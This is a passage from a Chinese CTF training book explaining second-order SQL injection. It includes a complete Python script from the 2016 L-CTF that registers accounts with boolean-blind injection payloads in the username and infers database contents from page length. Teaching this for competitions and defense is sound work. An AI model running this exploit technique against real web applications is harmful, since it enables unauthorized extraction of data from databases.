CTF特训营:技术详解、解题方法与竞赛技巧
上QQ阅读APP看书,第一时间看更新

2.6 二次注入

二次注入的起因是数据在第一次入库的时候进行了一些过滤及转义,当这条数据从数据库中取出来在SQL语句中进行拼接,而在这次拼接中没有进行过滤时,我们就能执行构造好的SQL语句了。

由于二次注入的业务逻辑较为复杂,在比赛中一般很难发现,所以出题人一般会将源码放出来,或者提示本题有二次注入。

在二次注入的题目中,一般不会是单纯的二次注入,通常还会与报错注入或Bool盲注结合出题。比如,在注册页面输入的用户名在登录后才有盲注的回显,这时候我们需要自己编写脚本模拟注册及登录。

下面列举一个二次注入中包含盲注的例子(2016年西电信安协会的l-ctf),简单描述下当时的题目。存在用户的登录与注册页面,登录后可以修改用户的头像,判断注入的点也就是这个头像是否有显示。如果注册时用户名构造的Payload为真,则可以在页面收到回显的头像的地址,反之则没有。因为在测试时发现头像的链接很长,所以我们用页面返回长度来确定盲注结果,下面是当时写的漏洞利用代码,我们在代码的注释中解释了每条语句的原理:


#!/usr/bin/env python
# coding: UTF-8 ( "げ ")
__author__ = 'T1m0n'

import requests

def getdata(pos, payload_chr):
    ''' 
    :param pos: 盲注点
    :param payload_chr: 字符串
    :return: 如果pos位置是payload_chr,则返回payload_chr,反之则返回空
    '''
    # 当时网络环境比较差,经常出现502的情况,当返回502或者其他信息时,使用try再次执行本函数
    try:
        # 用户名 注意看后面的payload,这里的payload的意义为返回第一个数据库,并按位截取
        user = 'zaaa\'/**/and/**/ascii(substr((SELECT/**/(SCHEMA_NAME)/**/FROM/**/information_schema.SCHEMATA/**/limit/**/0,1),%d,1))=%d/**/and/**/\'1\'=\'1'% (pos,ord(payload_chr))
        # 密码,只在登录时起作用
        passwd = 'aaaaaa'
        # 注册机登录的url
        url_login = 'http://web.l-ctf.com:55533/check.php'
        # 注册时post的数据
        resign_data = {
            'user': user,
            'pass': passwd,
            'vrtify': '1',
            'typer': '0',
            'register': '%E6%B3%A8%E5%86%8C',
        }
        # 负责发送注册请求
        r0 = requests.post(url_login, resign_data)
        r0.close()
        # 登录刚才注册的账号
        login_data = {
            'user': user,
            'pass': passwd,
            'vrtify': '1',
            'typer': '0',
            'login': '%E7%99%BB%E9%99%86',
        }
        r1 = requests.post(url_login, login_data)
        # 截取返回头中的cookie,方便我们进入下一步的登录用户中心
        cookie = r1.headers['Set-Cookie'].split(';')[0]
        r1.close()
        # 用户中心登录
        url_center = 'http://web.l-ctf.com:55533/ucenter.php'
        headers = {'cookie': cookie}
        # 登录用户中心
        r2 = requests.get(url_center, headers=headers)
        res = r2.content
        # 如果返回的长度大于700,则证明这个位置的字符串是正确的,并返回这个字符串;如果小于700,则返回空
        if len(res) > 700:
            print payload_chr, ord(payload_chr)
            return payload_chr
        else:
            print '.',
            return ''
    except:
        getdata(pos, payload_chr)

if __name__ == '__main__':
    payloads = 'abcdefghijklmnopqrstuvwxyz1234567890@_{},'
    res = ''
    for pos in range(1, 20):
        for payload in payloads:
            res += getdata(pos, payload)
    print res
    
# 附上当时的注入结果
# user--lctf
# database--web_200
# table -- user
# column -- d,admin,pass

当然,这只是获取flag过程中的一部分,但也是关键的一部分。

在遇到类似思路比较复杂的二次注入题目的时候,我们更要冷静地分析,不断地尝试,这样才能挖到题目的考点,从而达到获取flag的目的。